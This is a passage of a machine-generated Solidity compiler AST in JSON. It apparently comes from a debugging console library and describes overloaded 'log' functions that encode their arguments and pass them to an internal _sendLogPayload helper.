ters":{"id":24366,"nodeType":"ParameterList","parameters":[],"src":"6643:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24390,"nodeType":"FunctionDefinition","src":"6725:110:15","nodes":[],"body":{"id":24389,"nodeType":"Block","src":"6761:74:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c29","id":24384,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6811:11:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},"value":"log(bool)"},{"id":24385,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24378,"src":"6824:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24382,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6787:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24383,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6791:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6787:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6787:40:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24381,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6771:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6771:57:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24388,"nodeType":"ExpressionStatement","src":"6771:57:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6734:3:15","parameters":{"id":24379,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24378,"mutability":"mutable","name":"p0","nameLocation":"6743:2:15","nodeType":"VariableDeclaration","scope":24390,"src":"6738:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24377,"name":"bool","nodeType":"ElementaryTypeName","src":"6738:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6737:9:15"},"returnParameters":{"id":24380,"nodeType":"ParameterList","parameters":[],"src":"6761:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24404,"nodeType":"FunctionDefinition","src":"6841:116:15","nodes":[],"body":{"id":24403,"nodeType":"Block","src":"6880:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286164647265737329","id":24398,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6930:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},"value":"log(address)"},{"id":24399,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24392,"src":"6946:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24396,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6906:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24397,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6910:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6906:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6906:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24395,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"6890:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24401,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6890:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24402,"nodeType":"ExpressionStatement","src":"6890:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6850:3:15","parameters":{"id":24393,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24392,"mutability":"mutable","name":"p0","nameLocation":"6862:2:15","nodeType":"VariableDeclaration","scope":24404,"src":"6854:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24391,"name":"address","nodeType":"ElementaryTypeName","src":"6854:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6853:12:15"},"returnParameters":{"id":24394,"nodeType":"ParameterList","parameters":[],"src":"6880:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24421,"nodeType":"FunctionDefinition","src":"6963:140:15","nodes":[],"body":{"id":24420,"nodeType":"Block","src":"7014:89:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e7432353629","id":24414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7064:22:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f666715aa6b8e8ce32bd39173f51eea0643fdd246a826c4756c2f168022b6eb5","typeString":"literal_string \"log(uint256,uint256)\""},"value":"log(uint256,uint256)"},{"id":24415,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24406,"src":"7088:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24416,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24408,"src":"7092:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f666715aa6b8e8ce32bd39173f51eea0643fdd246a826c4756c2f168022b6eb5","typeString":"literal_string \"log(uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24412,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7040:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7044:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7040:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24417,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7040:55:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24411,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7024:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7024:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24419,"nodeType":"ExpressionStatement","src":"7024:72:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6972:3:15","parameters":{"id":24409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24406,"mutability":"mutable","name":"p0","nameLocation":"6984:2:15","nodeType":"VariableDeclaration","scope":24421,"src":"6976:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24405,"name":"uint256","nodeType":"ElementaryTypeName","src":"6976:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24408,"mutability":"mutable","name":"p1","nameLocation":"6996:2:15","nodeType":"VariableDeclaration","scope":24421,"src":"6988:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24407,"name":"uint256","nodeType":"ElementaryTypeName","src":"6988:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6975:24:15"},"returnParameters":{"id":24410,"nodeType":"ParameterList","parameters":[],"src":"7014:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24438,"nodeType":"FunctionDefinition","src":"7109:145:15","nodes":[],"body":{"id":24437,"nodeType":"Block","src":"7166:88:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e6729","id":24431,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7216:21:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_643fd0df4c7dfb004c6169012c8aec390bd7246941d7fe467022f10f2da987c3","typeString":"literal_string \"log(uint256,string)\""},"value":"log(uint256,string)"},{"id":24432,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24423,"src":"7239:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24433,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24425,"src":"7243:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_643fd0df4c7dfb004c6169012c8aec390bd7246941d7fe467022f10f2da987c3","typeString":"literal_string \"log(uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24429,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7192:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24430,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7196:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7192:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24434,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7192:54:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24428,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7176:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24435,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7176:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24436,"nodeType":"ExpressionStatement","src":"7176:71:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7118:3:15","parameters":{"id":24426,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24423,"mutability":"mutable","name":"p0","nameLocation":"7130:2:15","nodeType":"VariableDeclaration","scope":24438,"src":"7122:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24422,"name":"uint256","nodeType":"ElementaryTypeName","src":"7122:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24425,"mutability":"mutable","name":"p1","nameLocation":"7148:2:15","nodeType":"VariableDeclaration","scope":24438,"src":"7134:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24424,"name":"string","nodeType":"ElementaryTypeName","src":"7134:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7121:30:15"},"returnParameters":{"id":24427,"nodeType":"ParameterList","parameters":[],"src":"7166:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24455,"nodeType":"FunctionDefinition","src":"7260:134:15","nodes":[],"body":{"id":24454,"nodeType":"Block","src":"7308:86:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c29","id":24448,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7358:19:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1c9d7eb3a75db315653a5c0996fcea52a2b2692643ce8ace4d8b12bb9da6c1f2","typeString":"literal_string \"log(uint256,bool)\""},"value":"log(uint256,bool)"},{"id":24449,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24440,"src":"7379:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24450,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24442,"src":"7383:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1c9d7eb3a75db315653a5c0996fcea52a2b2692643ce8ace4d8b12bb9da6c1f2","typeString":"literal_string \"log(uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24446,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7334:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24447,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7338:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7334:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24451,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7334:52:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24445,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7318:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24452,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7318:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24453,"nodeType":"ExpressionStatement","src":"7318:69:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7269:3:15","parameters":{"id":24443,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24440,"mutability":"mutable","name":"p0","nameLocation":"7281:2:15","nodeType":"VariableDeclaration","scope":24455,"src":"7273:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24439,"name":"uint256","nodeType":"ElementaryTypeName","src":"7273:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24442,"mutability":"mutable","name":"p1","nameLocation":"7290:2:15","nodeType":"VariableDeclaration","scope":24455,"src":"7285:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24441,"name":"bool","nodeType":"ElementaryTypeName","src":"7285:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7272:21:15"},"returnParameters":{"id":24444,"nodeType":"ParameterList","parameters":[],"src":"7308:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24472,"nodeType":"FunctionDefinition","src":"7400:140:15","nodes":[],"body":{"id":24471,"nodeType":"Block","src":"7451:89:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c6164647265737329","id":24465,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7501:22:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_69276c86d20522c49707664308d424b84905ef92219f3146bcaacedc72eaed27","typeString":"literal_string \"log(uint256,address)\""},"value":"log(uint256,address)"},{"id":24466,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24457,"src":"7525:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24467,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24459,"src":"7529:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_69276c86d20522c49707664308d424b84905ef92219f3146bcaacedc72eaed27","typeString":"literal_string \"log(uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24463,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7477:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24464,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7481:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7477:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24468,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7477:55:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24462,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7461:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7461:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24470,"nodeType":"ExpressionStatement","src":"7461:72:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7409:3:15","parameters":{"id":24460,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24457,"mutability":"mutable","name":"p0","nameLocation":"7421:2:15","nodeType":"VariableDeclaration","scope":24472,"src":"7413:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24456,"name":"uint256","nodeType":"ElementaryTypeName","src":"7413:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24459,"mutability":"mutable","name":"p1","nameLocation":"7433:2:15","nodeType":"VariableDeclaration","scope":24472,"src":"7425:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24458,"name":"address","nodeType":"ElementaryTypeName","src":"7425:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7412:24:15"},"returnParameters":{"id":24461,"nodeType":"ParameterList","parameters":[],"src":"7451:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24489,"nodeType":"FunctionDefinition","src":"7546:145:15","nodes":[],"body":{"id":24488,"nodeType":"Block","src":"7603:88:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e7432353629","id":24482,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7653:21:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b60e72ccf6d57ab53eb84d7e94a9545806ed7f93c4d5673f11a64f03471e584e","typeString":"literal_string \"log(string,uint256)\""},"value":"log(string,uint256)"},{"id":24483,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24474,"src":"7676:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24484,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24476,"src":"7680:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b60e72ccf6d57ab53eb84d7e94a9545806ed7f93c4d5673f11a64f03471e584e","typeString":"literal_string \"log(string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24480,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7629:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24481,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7633:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7629:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24485,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7629:54:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24479,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7613:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7613:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24487,"nodeType":"ExpressionStatement","src":"7613:71:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7555:3:15","parameters":{"id":24477,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24474,"mutability":"mutable","name":"p0","nameLocation":"7573:2:15","nodeType":"VariableDeclaration","scope":24489,"src":"7559:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24473,"name":"string","nodeType":"ElementaryTypeName","src":"7559:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24476,"mutability":"mutable","name":"p1","nameLocation":"7585:2:15","nodeType":"VariableDeclaration","scope":24489,"src":"7577:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24475,"name":"uint256","nodeType":"ElementaryTypeName","src":"7577:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7558:30:15"},"returnParameters":{"id":24478,"nodeType":"ParameterList","parameters":[],"src":"7603:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24506,"nodeType":"FunctionDefinition","src":"7697:143:15","nodes":[],"body":{"id":24505,"nodeType":"Block","src":"7753:87:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c696e7432353629","id":24499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7803:20:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ca6268e2d626deb26c45bf74aa3316f24594d4f4b66b5d8fd8e966d88ac4e25","typeString":"literal_string \"log(string,int256)\""},"value":"log(string,int256)"},{"id":24500,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24491,"src":"7825:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24501,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24493,"src":"7829:2:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ca6268e2d626deb26c45bf74aa3316f24594d4f4b66b5d8fd8e966d88ac4e25","typeString":"literal_string \"log(string,int256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":24497,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7779:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24498,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7783:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7779:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7779:53:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24496,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7763:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 